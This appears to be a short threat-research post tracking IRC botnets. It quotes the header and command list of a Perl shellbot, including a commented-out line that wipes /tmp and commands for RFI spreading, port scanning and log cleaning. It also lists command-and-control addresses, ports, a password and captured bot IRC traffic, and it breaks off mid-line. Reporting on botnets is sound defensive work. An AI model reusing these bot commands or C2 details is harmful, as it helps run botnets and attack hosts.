Fubar the ngrBot creator hacking through RFI

This is fubar the ngrBot creator “made from scratch” #!/usr/bin/perl #system ‘cd /tmp;rm -rf *’; # # PitBull Bot V5 PRiVaTE Sh3llBoT # # Last edited : 25/2/2008 # #[@[PitBull Bot V5 Commands List]@] #[@—–[Shellbot/Hacking Based]—–@] #!bot @admins #!bot @spread <rfi> #!bot @milw0rm #!bot @packetstorm #!bot @portscan <host> #!bot @logcleaner #!bot @md5 <hash> #!bot @sendmail

112.203.74.66(irc botnet hosted in Philippines Manila Pldt_mgoc10ki01_dhcp)

Remote Host Port Number 112.203.74.66 4244 PASS google_cache2.tmp 174.121.14.164 80 195.210.28.38 80 195.250.147.177 80 195.72.135.25 80 204.2.197.201 80 208.43.218.81 80 209.17.74.144 80 66.115.184.85 80 66.115.184.87 80 66.94.241.1 80 195.72.135.25 443 NICK new[iRooT-XP-USA]913396 USER 9133 “” “TsGh” :9133 JOIN #!N!# WTF PRIVMSG #!N!# :http://kajmak1.bloger.hr Has Been Visited! hosting infos: http://whois.domaintools.com/112.203.74.66

sparkles.no-ip.org(irc botnet hosted in COLOMBIA TELECOMUNICACIONES S.A. ESP)

Resolved : [sparkles.no-ip.org] To [190.68.67.187] sparkles.no-ip.org:6667 NICK ScAry4610520 USER krcdlijt 0 0 :ScAry4610520 USERHOST ScAry4610520 MODE ScAry4610520 +xi JOIN ##!misc fudude NOTICE ScAry4610520 :.VERSION eggdrop v1.6.20. PRIVMSG ##!misc :..m..ain …. Status: Ready. Bot Uptime: 0d 0h 0m. PRIVMSG ##!misc :..m..ain …. Bot ID: cyber. PRIVMSG ##!misc :..s..can …. Exploit Statistics: ASN.1-HTTP: 0, ASN.1-SMB: 0, ASN.1-SMB